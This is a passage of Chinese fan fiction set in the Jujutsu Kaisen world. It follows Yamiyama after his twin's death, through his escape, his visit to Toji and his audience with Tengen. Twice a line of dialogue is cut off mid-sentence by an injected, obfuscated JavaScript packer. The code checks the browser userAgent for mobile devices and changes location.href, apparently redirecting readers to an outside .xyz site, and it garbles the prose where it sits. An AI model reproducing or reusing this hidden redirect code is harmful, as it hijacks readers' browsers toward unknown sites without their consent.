“已经下葬了,”五条家的家主在这几天憔悴了很多,又仿佛什么都没发生过一样兀自处理着族内的事物,“夜蛾那边已经说好了,等你年纪到了就去东京高专吧。成年了回来接任家主。你已经不是之前的孩子了,悟,不要再意气用事。” “放屁,我问你活着的那个!!” “......在高专。他杀了禅院家十二个人,待在那里是最好的选择。现在也只有他能说出冲绳到底发生了什么。” 五条悟转身就走。身后传来“你去也没用,见不到他的”的声音,他充耳不闻。 坐上车,他点开手机联系人,摁到夏油杰的号码,停了一会儿。最后他还是没能打出这个电话。 湛蓝的眼睛垂了下去,五条悟第一次体会到了什么都做不了的无力感。他的六眼,他的无下限,没办法让星海复活,也没办法让这一切都变得从没发生过一样。 冲绳那霸波之上海滩长达四公里的禁区成了新的禁忌,现场不到两个小时就被清理完毕,可事件发生后造成的附加影响却要绵延不知多久。被卷入这场事故中的普通人、被算计的高专学生、失踪的辅助监督......以及唯一的目击者,既定的“凶手”。 夜蛾正道不被允许靠近那间写满了封印术式的房间。教室里还摆着四套桌椅,可现在只有庵歌姬一个人坐在位子上。 “......” “......” “......歌姬,最近你和式一起出任务吧。一年级的新生你也多照顾一些,毕竟你也是二年级的前辈了,”夜蛾正道觉得这个空荡荡的教室有些令人窒息,可庵歌姬还在这里,“别想太多,弥山那边......我还在跟上面和五条家沟通,别太担心。” “......” 庵歌姬回到宿舍,看见了某一次他们一起出去逛街的时候照的大头贴。一式四份,这是他们唯一一张合照。 48.野鬼 弥山在这间贴满封印咒符和满是结界术式的房间里待了两天。双手被宽大的粗糙麻绳捆在身后,绳索的另一端被楔子钉在地面中。他觉得自己像是神社里被注连绳缠绕着的岩石,取代纸垂的是强力的咒符。 他一直在发抖,这两天里从没有一刻能够长久地闭上眼睛。 没有人来询问他关于冲绳的真相,也不愿意投喂一个随时可能发疯的野兽。 在意识到这一点后,他停止了计算时间。 束缚住双手的麻绳上有封印术式,会抑制咒力的生成,但想要脱离并非难事。他花了一些时间感受那些从麻绳上传来的细微的咒力流动,找到了最薄弱的节点。 接下来就是贴在墙壁上的咒符和结界术。 他大摇大摆地从那间房间里走了出来,房间外没有任何人看守。没人认为他能从那里走出来。 【代理人】翻新了他虚弱的身体,弥山觉得视野前所未有的明晰。 夜蛾正道看到出现在教师宿舍里的弥山时,第一反应是将身后的门关上。 “他在哪?”屋里没有开灯,夜蛾正道也不敢打开灯。他无法想象弥山的表情,也因为自己的无能为力而不知所措。 “弥山,你是......” “他在哪?”弥山提高了一些声量,执着地问着这个问题。 夜蛾正道摁压着额角,觉得太阳穴一股一股地疼。 “遗体的下葬是五条家负责的,我们都没能见上他最后一面。节哀,弥山。” 他小心斟酌着字句,但也知道这只是徒劳。他身为这些年轻咒术师们的老师,却还没能想明白如何教会他们最重要的一课——如何面对死亡。这本应是他最先教会他们的东西,可对死亡的忌惮让他将这一课一拖再拖,最终酿成了这样的苦果。 “老师,”弥山的身影藏在黑暗中,他似乎有些犹豫,“算了,谢谢。” 弥山的语气比夜蛾正道想象中的更加平淡,但就是这种正常才是最不正常的事。更何况他们是最亲近的半身,失去一方的痛苦要更难以承受。 “你要回家吗?” “不,我准备去一趟五条家。”弥山的眼睛望向了夜蛾正道放在桌子上的玩偶服。那件小小的衣服还没有做完,但已经能看到上面很可爱的熊猫标识。 “......是吗。弥山,在总监部的处理下来之前,你最好......” 弥山打断了夜蛾正道:“抱歉老师。” 他垂着眼睛经过夜蛾正道的身旁,打开了宿舍的门:“我已经在这待腻了。” 屋内,夜蛾正道攥紧了手中那张刚刚拿到的关于弥山处理方式的报告书,“死刑”两个字被一下子揉得皱皱巴巴。 机括声在身后响起,他没有听到弥山离开时的脚步声。 夜蛾正道走到桌子前,按下台灯的开关。黄色的灯光没有照到那件只完成了一半就被迫搁置的小衣服,他在桌子前站了一会,又将手中的报告书展平看了一遍又一遍。最后颓丧地坐在了椅子上。 他承认,他有过那么一瞬间,觉得真的是弥山做了那一切。哪怕一年级的任务出现过好几次与报告不符的情况,哪怕他曾为了不合常理的指名任务而向上层无声抗议过,可看到报告书的那一刻,心中对总监部根深蒂固的信任让他对自己的判断产生了一瞬间的怀疑。 刚刚执教一年的教师彼时觉得,只要曾真的升起过这样的“怀疑”,他就没有资格再抛弃一切,坚持自己的立场。 动摇的根基无法让他建起的高楼大厦抵抗可能到来的狂风骤雨。 “可恶,”他双手捂住脸,长叹一声,“这样还算什么教师......” —— 弥山什么都没带走,他空着手回到了五条家,经过祖父祖母院落外的木制回廊的时候,正巧遇见两个老人从屋里出来。 他们显然已经知晓他为何回来,但瘦小的老人只是皱着眉呵斥:“穿着那样脏污的鞋走在家里,你不觉得羞愧吗?你身为五条族人的礼仪都去哪了?” 弥山充耳不闻,径直从他们面前走过:“关你屁事,老太婆。” 有近些年新生的孩子没见过他,看着这样一个和悟少爷整天穿着的“外头的衣服”一样的服装、蹬着一双像是被火燎烧过的鞋的人在族内随意穿行却没有人敢上前制止,不由得好奇起来,可很快就被各自的家人带走了。 五条悟不在,弥山本来也没打算找他。 他直接闯入了主宅的大广间,毫不意外地得到了家主近旁仆从的呵斥,但他就像对待祖父祖母那样充耳不闻。 五条家主年过五旬,气质比弥山小时候见到他的那会沉淀了很多,可依旧是个想要赶紧退休的性子。 “你再在家里闹也没用的,遗体已经安葬,让他入土为安吧。” 弥山盯着他的脸。 “没有谁是永远离不开谁的,就算你们是双子也一样。既已发生这样的事,之后你愿意去哪就随你。” 不是大发善心,而是舍弃无用之物。 “你在撒谎。”弥山眯起眼睛,他眼神中最后的那点光也消失了,剩下的只有逐渐冷却的温度和升腾的疯狂。 五条家主打定主意不再回答。星海能以体面的方式“下葬”已经是五条家争取过的结果,让这件事到此为止就是最好的结局。 弥山不再纠缠,他扭头就走。 五条家主的声音追在后面:“与其到处乱撞,不如先想想怎么保下你自己。” 弥山没有回头。 “你觉得这样就结束了?”他的声音渐行渐远,落入旁人耳中简直让人忍不住发笑。 家仆在五条家主身旁说:“总监部那边的死刑命令……” “他都不是五条家的人了,跟我们没关系。” 有族人进来汇报,说五条悟马上就回来。 五条家主头疼地收起手上的工作:“先解决这边的这个吧。” —— 夏油杰的胳膊上挂着透明的长柄雨伞,和新结识的同学走在路上。今天的云很低,他总觉得天地之间的距离都缩短了似的,和空气中无处不在的水汽一样,让人觉得很沉重。 “真是的,天气预报从来没有准确的时候,从早到晚都是这个样子,就是不下雨。” 夏油杰附和道:“没办法啦,也许乌云就是不想在我们面前哭呢。” “哇!说什么来什么!” 淅淅沥沥地从天上掉下了一些雨点,夏油杰撑开伞,和同伴们跳上商店的台阶,沿着商铺门前的小道前进。 很快雨就大了起来,初春很少下这样的暴雨,也不知今天是怎么了,雨点不要命似的拼命砸向地面,好像在替谁哭泣一样。 夏油杰不喜欢这样的天气。 “真讨厌啊。” 弥山拐进一家拉面店躲雨。在他甩掉头发上的雨珠后,打开了手机。有很多很多条来自五条悟的未接电话,这小孩怎么这么有毅力?还有一些来自庵歌姬和物部式的,弥山有些惊讶地看到居然还有一条来自禅院甚尔。 他正看着那些电话号码发呆,突然就有一通电话打了进来。 弥山没看究竟是谁打来的,直接点了接通。 “啊?居然通了。”对面发出了一声疑问。 “什么啊,居然是你,”弥山听出了禅院甚尔的声音,“你在干嘛?奶孩子吗?” 电话那头传来小婴儿嘹亮的哭声,似乎就在距离电话很近的地方。 禅院甚尔让儿子趴在发达的手臂肌肉上,熟练地哄着,一边冲泡奶粉,用耳朵和肩膀夹着手机:“听说你兄弟死了。” 弥山抱怨着这场突如其来的大雨:“啊,确实。多谢你的卡,留够奶粉钱记得把尾款打给我。” “啊?”禅院甚尔理直气壮地说:“哪有那种东西,我是打算把自己卖给你还账的。” 弥山坐直:“真的假的?” 禅院甚尔:“真的。” “……你手里有合适的咒具吗?” 禅院甚尔那边的婴儿哭声小了一些,似乎他哄孩子的手法十分了得。 “啊,我突然想到确实有这么一件东西来着。跟我相性不合,但好歹也是个特级咒具。” “你在哪?” 禅院甚尔报出了一个地址。 “来的时候帮我买点纸尿裤,牌子我发到你手机上。” 弥山站起身,直接钻入了雨幕中:“真会使唤人,当了爸爸的人都这样吗?” “谁知道呢,”禅院甚尔准备挂了电话好联系孔时雨,“我家崽子睡着了,过来的时候别敲门。” 弥山将依旧干燥的手机塞回内兜,迅速赶往禅院甚尔给出的地址。 等他从车站出来的时候,雨已经停了。钻进商场买了一套新衣服去厕所换上,又按照禅院甚尔的要求买了纸尿裤和奶粉,他拎着大包小包上了楼。 他没打算按门铃,也不打算发消息,他知道禅院甚尔能听见他的脚步声。 果然,等迈上最后一级台阶,禅院甚尔家的门就应声打开。 “哦?居然买对了。”穿着花围裙的男人毫不犹豫地接过了弥山手里的包,从屋里扯出一个细长的袋子塞进他怀里。 “好好用吧,你会喜欢它的。”禅院甚尔似乎是在报复他们那次没让他进家门,这次他也把弥山堵在了门口。 弥山感受到怀里沉甸甸的重量,终于觉得踏实了一些。 “拜拜。” 他下到了楼层拐角,才听见禅院甚尔说了一句“再见”。 弥山不觉得他们会再见,不过还是补上了一句:“再见。” 他抱着怀里的东西狂奔到了无人的公园,解开布袋,里面的刀露了出来。 特级咒具雷切·千鸟,怪不得禅院甚尔说它和自己相性不合,这把刀在没有咒力的禅院甚尔手里就只是一把比较锋利的武具而已,而他最不缺的就是这种东西。 禅院甚尔用它来当做那张延长寿命的咒符的报酬,直白地戳中了弥山的心思。他的确很喜欢这把刀,一见面就喜欢上了。 “明明已经雨停了,怎么还听到雷声了呢?难道还要继续下吗?” 禅院甚尔听着妻子的抱怨,没有接话,默默地单手将儿子托起又放下,把小孩逗得开始咯咯笑。 “等等甚尔!不是说过不让你做这么危险的事吗?小惠还那么小,等他会坐了再玩这个才好玩啊!” “是是,我知道了。” “敷衍!” —— 弥山淌着水,森下町八幡神社附近的广阔土地在春日的照拂下野草疯长,再加上刚刚下过一场暴雨,无数个真真假假的小水洼藏在草丛之下。 鼻尖是草叶的清香和雨后泥土的腥气。 他终于走到了神社前的石板路上,用刀鞘挑起垂到眼前的注连绳,湿哒哒的绳子还在往下滴水。跨过石阶,穿越鸟居,他在两侧石雕狛犬的注视下打开了神龛。 “你们这些人总把双子当作不祥,”弥山掀开那个小盒子,包裹着卷轴状咒符的宿傩手指静静躺在里面,“哈哈,不祥。” 一直跟在他身后的人终于现身:“把特级咒物放下,日照弥山。总监部已经对你下达了死刑命令,没必要继续挣扎。” “帐”被放了下来,范围不大。 弥山扔掉盒子,将宿傩的手指放进包里,拉上拉链。 他右手持刀,左手直接比出手印。 这群人的穿着上看不出是哪家的术师,但是说的话却和高傲自负的御三家如出一辙。 “挣扎?你们最好祈祷自己还有后援。” 弥山不配合的姿态让分散站在神社各处的术师们绷起神经。这个少年在冲绳的所作所为已和诅咒师无二,禅院家不愿意说他们为什么在那里折了十二个人,但总归都是他干的。 “小心他的术式。”为首的人盯着弥山手中的刀。 弥山看着自己的指尖,语速飞快地自言自语:“光士的领域给了我全新的灵感。我从未感觉自己如此完整,你们能明白吗?灵魂上的完整。可是不对啊,我明明失去了很重要的东西,却在咒术上得到了补完。” 他抬起眼睛,黑色的瞳孔剧烈地放大又收缩,咒力变化的瞬间让在场所有人如坠冰窟。站在神社前的少年突然笑了一下,笑声爽朗极了:“你们、你们可真倒霉,哈哈!” 食指、小指竖起,其余指节收回,手印抬到弥山的眼前,他张开嘴,说出的话让眼前的所有术师立刻转身就跑。 可是他们怎么跑得过声音传播的速度呢? “领域展开。” 以八幡神社为中心,漆黑的阴影向外扩张。为首的人跑得最快,可他绝望地发现脚下已经被扩张的结界底部超越了过去。他向前看,却没看到预想中向上闭合的结界。 领域没能完全构成?还是说他的领域面积要比他们设下的“帐”还要大? 该死的,总监部没说他还会领域展开啊!? “可恶......” 弥山略微抬头,摊开双手,感受着咒力的流逝和领域展开的每一个过程节点。 “是这种感觉啊。” 等在“帐”外的人没能等到进去的那群人出来。感受到“帐”自行解除的那一刻,他向神社的方向看去。和他一起来的人倒了满地,有一具拦腰挂在枝干上的尸体被重力拉扯着滑了下来,“噗通”一声掉在了地上。 “我猜对了,放‘帐’的果然在外面。” 迎向他的是锋利的冷光。 —— 夏油杰用五条悟交给他的钥匙打开了弥山他们家的门。他偶尔周末会回来帮忙打扫一下卫生,弥山给他的那些咒符帮了大忙,他总要做点什么才能让自己安心。 刚进门,他就听见了哗啦啦的水声从屋子里传来。 有人回来了?他低头,在门口看到了一双鞋。疑惑地打开灯,浴室里传来的水声停了下来,夏油杰脱掉鞋子经过走廊:“弥山?星海?” 沙发上的凹陷处放了一个包,夏油杰只是刚往那边走了两步就感受到了一股非同寻常的咒力。浓郁的邪恶、压倒性的气息从包里慢慢弥散出来,让他的心跳骤然加速。 浴室的门被人打开,小房间里的水汽将那近乎可以凝成实体流动的邪恶咒力驱散一些,回来的是弥山:“那是宿傩的手指,我果然还是不擅长结界术,靠得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233550|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近了就能感受到吧?” “诶?啊,怎么突然回来了?”夏油杰应了一声,转头看向正赤裸着上身擦头发的人:“弥山,星海呢?” 似乎是有什么东西落在了浴室,弥山转身回去取,夏油杰看到了他后背上那道骇人的伤疤。几乎从肩胛下方的正中一直延伸到了右肩,疤痕的颜色还很新鲜。 “星海不在了哦。” 语气太过普通,夏油杰听到了这句话,脑海中第一时间划过的是他们相处时的各种闪回,隔了两秒才意识到弥山究竟说了什么。 “哈?” 弥山拿着眼罩出来,甩甩半干的头发:“就是死了的意思。” “......” 夏油杰觉得自己的心跳声大得可怕。他见过被诅咒师杀死的人的尸体。有的躺在地上,被一块白布或者是黑色的塑料袋裹着。也有的被田地里高高的玉米杆挡住,没有让他看见。 “为什么......?” 死亡带给人的感觉为什么比想象中的要轻太多? 弥山张口,刚想说什么,猛然瞥见了夏油杰的表情,转而叹了口气,向他走了过去。夏油杰觉得一根曲起的指节从他的脸上刮走了什么,留下一片凉凉的痕迹。 “你在为谁哭呢?”弥山转动手指,年轻的泪水顺着指腹滑了下去,隐没在尘埃之中。 “我倒是不知道你有这么喜欢他。”他换了个表情,变得认真了一些。 夏油杰“啪”的一声捂住了眼睛:“没谁......不,也不是,我就是......我不知道,我要是知道就好了!” 这段前言不搭后语的表达让弥山笑了起来。 夏油杰不是一个感情特别充沛的人,但却非常敏锐。可惜此时他也说不清楚究竟为什么眼泪在这个时候夺眶而出。 “......什么时候的事?” 这忽然问住了弥山。他连现在是几月几号几点几分都不清楚,想掏出手机看一眼却发现已经没电了。明明去找禅院甚尔的时候还能用的。 “嗯,大概是前几天?一周前?” 夏油杰皱着眉问:“你不会一直没睡觉吧?” 弥山走进卧室,将一些衣物打包:“我感觉还好。前所未有的好。” 这不对劲。夏油杰跟着他走进卧室,他在心里痛骂五条悟什么都不跟他说,现在他也不知道该怎么和弥山说,只能换了一个问题:“你要去哪?” 弥山摇摇头:“去应该去的地方?大概吧。” 夏油杰的心提了起来:“你要去报仇?星海到底发生了什么?是特级咒灵?” “硬要说的话,算是。”弥山小小地撒了一个谎,他游荡到这个家,在沙发上坐了很久才想起来是为了找个地方洗澡才顺路回来的。至于接下来他要干的事......说是报仇,他连仇人是谁都不清楚。 所以他先要搞清楚这一切。为此,他需要去找一个什么都知道的人。 “总之,就这样了。我以后大概都不会回来了吧,咒符会定期寄给你,如果哪天停了那就是我也死了,你只能自己看着办喽。” “......一定要去吗?”夏油杰知道自己的问题有多无力。 弥山在他头上呼噜了一把:“别老这么关注别人,说到底都是一些跟你没什么关系的......” “为什么!?我们已经认识四年了,我为什么不能关心你们?”夏油杰拍开他的手:“你这个样子怎么能让人放心啊?” 弥山有些好笑地说:“我这个样子?” 夏油杰指着他的鼻子:“你自己有好好照过镜子吗?” 像是一个已经疯了的亡命徒。 “你拿宿傩的手指干什么?你们不是说那是辟邪的镇物吗?” “......不知道有没有用,只是先拿到再说。”弥山乖乖回答了他的问题。他的确没照过镜子,洗澡的时候镜面被水汽覆盖了,只能看到非常模糊的轮廓。 他下意识地觉得自己现在特别讨厌镜子,就连经过光滑的玻璃幕墙时也避而不看。 为什么拿走宿傩的手指?不知道。大脑中似乎有一片区域暗了下去,逻辑的链条在这里断裂,让他也无法解释自己的行为。 潜意识说他应该这样做,他就那样做了。 他突然觉得自己应该走了,如果继续和夏油杰说下去,会发生他自己也不想见到的事。 “我记得你准备上高专来着?” 不知道为什么话题突然跳到这里的夏油杰下意识地点点头。 “别去了,”弥山将装着雷切和宿傩手指的包腾了出来,把衣物之类的放进去,“总监部的人有问题。” “这是什么意思?” 夏油杰的大脑还在转动。星海不是死于任务?还是说,是因为人为因素才导致了“事故”的发生? “字面意思,我现在也搞不明白,总之咒术界迟早要完,赶快跑掉才是明智的选择。” 弥山调整着背带的长度,让包的拉链卡在胯部。他走向玄关换好鞋,拧开门把手。 夏油杰没有继续追出来的意思,弥山轻声说了句“拜拜”。 “我曾经问过悟,问他长大以后准备干什么。” 弥山向外走的动作顿住,缓缓转过身。他站在玄关的台阶下,和夏油杰的视线处于同一高度,理所当然地对上了对方的眼睛。 “毕竟他那么厉害,整天把‘未来的最强’挂在嘴边,真是让人火大。然而他只是说以后可能继续祓除咒灵,也许就这么过一辈子。” 夏油杰的一只的胖胖咒灵飞了出来,被他一把抓住了尾巴。 “我现在明白你当初看见我用【咒灵操术】收服蝇头的感觉了。暴殄天物,悟的才能一辈子用来干这些事情就是浪费。” 他的眼睛一眨也不眨,似乎这样就能向对面的人传递自己的决心。 “你说的宝物和匣子的事,我想明白了。我以后会和悟一样,我们会成为‘最强’。人是比猫、比不会动的宝物更复杂的生物,而且人数太多了,无论多大的匣子都是无法完全装下的。” “我会和悟改变这个咒术界。” 清除淤泥,埋下花种,刨除杂草。他自诩会成为“强者”,视保护“弱者”为自己的责任,而他早已知晓这社会中的“弱者”人数太多太多,无论他再怎样努力也不可能达成自己的理想。 明明伸出了援手却得不到感谢,明明是一番好意却被误解成了加害者,小小的少年在这四年“行侠仗义”的过程中已经经历了太多。 就像那只死在他看不见的地方的小猫崽。 由此,他得出了一个结论。比起在拯救的途中疲于奔命,不如将“最强”的力量用于改变这个世界,将它改造成一个所有“弱者”都能活下去的世界。 五条悟大概还没想明白,但夏油杰会教他。 这究竟是刚刚来到这个世界短短十多年的少年一腔热血的空想,还是向着梦想中的未来大步狂奔的誓言,现在谁也说不清楚。 未来的事,谁知道呢。 “是吗,”弥山利落地转身,将不知为何翘起的嘴角藏了起来,“那你们可一定要加油啊!” 49.全知的术师 想要从一千个寺社佛阁的虚像中找出唯一的入口,寻常人都会觉得是件不可能完成的事情。 再次踏上高专的土地,弥山路过一排排小小的地藏菩萨雕塑,沿着朱红鸟居构成的隧道走入了结界。 没有发起警报,高专估计还没来得及删除他的咒力信息吧。 自从靠近这附近,心脏就一直跳得很欢快。也可能是因为长时间失眠导致的心律不齐之类的问题,不过有反转术式在,头疼的问题解决了很多。 他在五条家临走时说的并非单纯的狠话。死亡并没有彻底将他们分开,虽然灵魂已经合二为一,可他还是能够感受到散落在外的“共鸣”。它们正在呼唤他。 “看来这次赚大了。” 本来只想过来碰碰运气,没想到直接撞到他头上来了。上次在高专还没有这种被牵引着的感觉,是在他离开的这些天被送过来的吗? 那么就不必特意去找天元了,希望祂不要介意被人用一些暴力的手段闯进家里。 “毕竟是个‘家里蹲’嘛......” 弥山已经完全放飞自我,他知道天元一定能听见。弥虚葛笼可是新·阴流用的简易领域的原型,是完全只存在于古籍里的对领域技法,弥山不觉得有人能背着御三家偷偷将这样的技法传承下来。那个冒充今井由光的人......说不定也和天元似的,是什么不老不死的老东西,才会用弥虚葛笼这种技法。 天元什么都知道,但是什么都不管。 弥山凭借着灵魂上的“共鸣”找到了那扇真正的门。 越往里走,他的脚步慢慢变得飘了起来。他感觉到了!就在前面,在前面的那间房子里。 枯木展现出了生机勃勃的姿态,粗大的枝干昂扬地向上生长,却生不出一片绿叶。到处都是陈旧腐朽的味道,很符合老年人居所的刻板印象。 看守在忌库两旁的忌库番被弥山用刀背敲晕。 接下来就好办多了。 他从踹开的门洞钻进好奇很久了的高专忌库,一进去就能感觉到无数混杂的气息迎面而来,这里放着很多特级咒物和咒具,更不要说低级一些的好东西,简直让人眼花缭乱。 弥山在外面完全没有感受到一点来自忌库内的气息,看来这个忌库也被天元下了特殊的结界。这让他终于对天元的结界术之高明有了实感。 他路过了一排九个胚胎样的特级咒物。咒胎九相图,这玩意居然在这里。 当然还有宿傩的手指,弥山扫了一眼,大概有五根的样子。 最终,他的脚步在一对还没来得及贴上标签的瓶子前停了下来。 弥山抬起手,放到了自己的心脏上。灵魂在叫嚣着,他完整的灵魂不停地发出呼唤,就像过去十六年里他一直做的那样,但这次不会再有与他别无二致的灵魂给予回应。他们合二为一,他们融为一体,却无法再像之前那样相互确认、相互共鸣。 独自一人,原来是这么寂寞的事吗?怪不得星海宁愿当一个胆小鬼。 失去光泽的眼球在液体中摇晃着。淡白色,带着点蓝,某些角度看上去还有点发灰。星海曾要求弥山描述他的眼睛,在被从浴室扯到阳台又扯到台灯下之后,他得到了这样的形容。 弥山最喜欢它们在太阳下的模样。像流云,轻盈又自由。 他举起那对瓶子放到灯光下,咧开嘴笑了起来:“这样也不错。” 忌库所在的通道尽头有通往薨星宫参道的升降梯,乘坐升降梯下去之后,就能看到包围着本殿的无数迷宫。 弥山没有往那边走的意思,他都闯到忌库了天元也不出来,就说明祂根本不想管这件事。 就当他准备出去的时候,周围的景象猝然一变,无数冲天而起的枯木组成的森林和阴暗的甬道都不见了,取而代之的是一片纯粹的白。 连脚下的地面都仿佛在向下无限延伸。 这是......? 长得像是大拇指的生物出现在了弥山的眼前。 “......”四只眼睛,异形的身体结构。这是全知不死的代价吗? “初次见面,道真的子嗣。” “这个姿态就是你一直不在人前露面的原因吗?天元大人。” 全知的术师没有对此多做解释:“到薨星宫前来吧。” 纯白的结界退去,弥山回身望着继续前进的通路。天元的邀请让他有些猝不及防,薨星宫作为所有结界的基底向来是最为隐秘和重要的地方。祂不可能不知道自己的处境。 一个什么都不管,独自在地面下待了千年的术师,也许一直在通过覆盖这片大地的结界观察着人间。 那不是神吗?像被人们虚构出来的神明一样默默注视着这世间,区别只在于人们会把生活中的幸与不幸归为神的旨意,而没有咒术师会在祈祷时来一句“天元大人保佑我”。 关于每五百年一次的同化和星浆体的事,身处御三家,弥山多少了解一些。 下一次同化就在三年后。 弥山乘坐升降梯继续往下,来到了薨星宫前的参道,见到了本殿前的迷宫。这些迷宫一样的建筑,每一间都是一个空性结界,由天元自由操纵空性结界内的结构,如果没有得到许可,根本不可能穿越迷宫抵达本殿。 禅院甚尔肯定能进来吧,弥山一边走一边想道。 本殿就在贯通天地的御神木之下。 大门已为他敞开,天元给出了十足的诚意。弥山没有丝毫停留,径直走了进去。 “请坐吧,”入目是一间普通的和室,紧实的榻榻米踩上去颇有弹性,像是真的一样,“你这个年纪的孩子喜欢喝什么?咖啡?” “有酒吗?”弥山坐到了垫子上,毫不客气地提起了要求。 “据我所知,你似乎不喜欢酒的味道。” “那你也应该知道我不喜欢喝咖啡。” 他面前的小方桌上出现了一杯清茶。 天元自己捧着一杯热气腾腾的茶水,说道:“全知之名被夸大了许多,我也不是什么偷窥狂,只是发生在结界内的有关咒术的事情,我更了解一些罢了。” 弥山碰了一下那个杯子,的确是实体,就是不知道喝下肚子的茶水在离开结界之后还在不在:“反正你就在这里待着,外面怎么说倒也无所谓。这样不无聊吗?” 天元喝了一口茶,没有回答。 祂的四只眼睛都没有瞳孔,所以弥山既不知道祂在看哪个方向,也不能通过眼神猜出祂的所思所想。天元很能沉得住气,这么一看反倒更像是人类了一些,如果祂不止全知而且全能的话,祂就不需要通过语言和心理上的争锋来确立自己的优势。 真正把天平挑出来摆在两方中间之前,总要来上几场没有硝烟的争斗。 “你先说你的要求,我再来挑报酬。”弥山开门见山道。 天元放下了茶杯。 祂坦诚地向弥山讲述了天元、星浆体与六眼之间三位一体的命运,以及祂的术式和即将到来的“进化”。 “你想让我帮你翻新□□,这样的话就不需要与星浆体同化就能度过这五百年?” “理论上讲,是这样的。” “为什么?这一代的星浆体出问题了?” “并非如此,”天元双手抱臂,逐一解释道,“我已经经过了两次轮回,每一次都为了咒术界的未来而选择终止了进化。只是......这个世界也在进化,我可能,终究还是要继续向前走了。” “那孩子叫羂索。” 弥山微微瞪大眼睛。 “每当同化之期即将到来,羂索都会想方设法阻止星浆体与我的同化。只不过前两次他都败在了六眼的手下,三位一体的宿命联结没有那么容易破坏。” 天元做出了一个很明显的“转头”的动作,让弥山觉得祂的四只眼睛都看向了自己:“这次他似乎有其他的打算。” 经历了两次同化,意味着这个叫羂索的家伙至少活了一千多年。是曾经和天元活在同一时代的术师?那他又是通过什么方法活了下来? “是他的术式。只要将脑转移,就能继续用新的肉|体活下去的术式。” 转移大脑。弥山想起今井由光额头上的那道缝合线。 缝合线......!?他们在京都的时候也遇到过一个额头上有缝合线的女人! 星海的尸体——弥山在【日轮净界】中发动了最后的术式,不惜一切代价,抓住星海身上“存活”的概念维持到领域结束。然而,他却被拒绝了。 已经死亡的个体不存在“存活”的概念,因此无法达成天平两端的平衡。可是在极端愤怒与恐惧的催化下,术师的意愿被扭曲,全部灌注到那具他永远无法舍弃的身躯之中,将尸体完整地保护了下来。 “他想要......星海的身体?” 他又有些开始发抖了,放在桌下的双手死死攥紧。 天元告知了他不知道究竟能算好消息还是坏消息的情报:“我并没有感受到属于日照星海的咒力出现在结界内。羂索没有更换他的身体,但他也没有被安葬。” “......在哪?” 天元摇头。羂索能够在祂的结界中自由来去而不被发现,是因为他本身就拥有可以和祂相提并论的高超结界术,天元无法知晓在羂索设立的结界内发生的事情。 不过,星海的双手的确被做成了咒物。这是由总监部下达的命令,也许是因为明白这样的做法被人知道的后果,为了维持那点根本就不存在的“面子”,他们将星海剩余的尸体草草下葬,就是不知道他们知不知情连剩余的尸身都已经被人掳走的事实。 “咒物虽然由总监部制作完成,可最终的去向却不知所踪。” 羂索究竟想干什么? “你究竟想干什么?”弥山问道。 他开始觉得这趟薨星宫之行也是有人为他准备的陷阱,他已经受够了自己身边发生的每件事都和该死的羂索有关了。他的恨意正在滋生,等到它们破土而出的那一天,弥山将不再是他自己。 天元终于提到了另一个关键:“你认识一名使用【咒灵操术】的少年。” “夏油杰?” “我在完成进化之后会以全新的姿态存在,直白地说,就是更接近咒灵的存在。” 弥山第一次有些后背发毛的感觉。 天元似乎有放弃和星浆体同化的准备,不管祂因为什么理由做出这个选择,拒绝同化的后果就是会进化为可被【咒灵操术】控制的形态。羂索苦等一千年,几次想要阻止天元同化,其最终目的肯定不只是看看天元同化失败到底会发生什么事而已。 难道说,他真正想要等的是【咒灵操术】? 能够操纵天元,就意味着可以操纵由祂设立的所有净界。无论是解除也好,还是想用这些结界做些别的事,羂索都需要【咒灵操术】。 “他想要的是夏油杰的身体?” 那为什么还要给星海设下这些重重陷阱,他又怎么能确定弥山能够将星海的尸体完整地保下来?为什么?星海的术式对他有什么用? 只要从六眼的手中夺走星浆体的生命,或是用别的什么方法阻止天元同化,再拿到【咒灵操术】,羂索的目的就达成了。 偏偏这个实现这个目的的最大阻碍——阻止天元同化——就快被天元自己做到了。 “所以我想让你用术式帮我完成最后一次‘同化’。” 弥山从祂身上看到了似乎要与天地融为一体的感觉,好像祂的生命就要就此走向尽头般。 天元看到了冲绳的最后一场战斗。祂看到了弥山术式的可能性,如果没有【代理人】,祂可能还会继续选择顺其自然,等待这一次同化时羂索和六眼、星浆体之间的博弈结果。羂索赢了,同化失败,祂也就自然而然地走上进化之路。羂索败了,同化成功,不过是再来五百年。 只是,祂终究不是真正的神明。祂已经一千多岁了,心的年龄已经老到不能再老。 再来五百年的选项,对祂而言不是不可接受,只是觉得似乎也没那么必要了。 “......是这个意思啊。”弥山大概理解了天元、同化和羂索之间的联系。 现在轮到他提条件了。 “多鲁布·拉克达瓦拉,我要他完成受肉的方法。” 天元痛快地答应了:“北海道的阿依努咒术联盟保存着一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247494|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石碑。” 弥山显然对这个答案不太满意:“就这样吗?” “......” 这是要把他支开,让他不要在同化到来的时候过来掺上一脚吗?的确,对于天元来说,借由弥山的术式在真正的同化时间到来前完成最后一次“轮回”,这样的话不论羂索谋划了怎样的阴谋,“让天元同化失败”的目的都会无法达成。 既然【代理人】能回溯状态,自然也可以加快祂的进化,因此弥山最好永远都不要出现在羂索面前,可惜他已经被看到了。 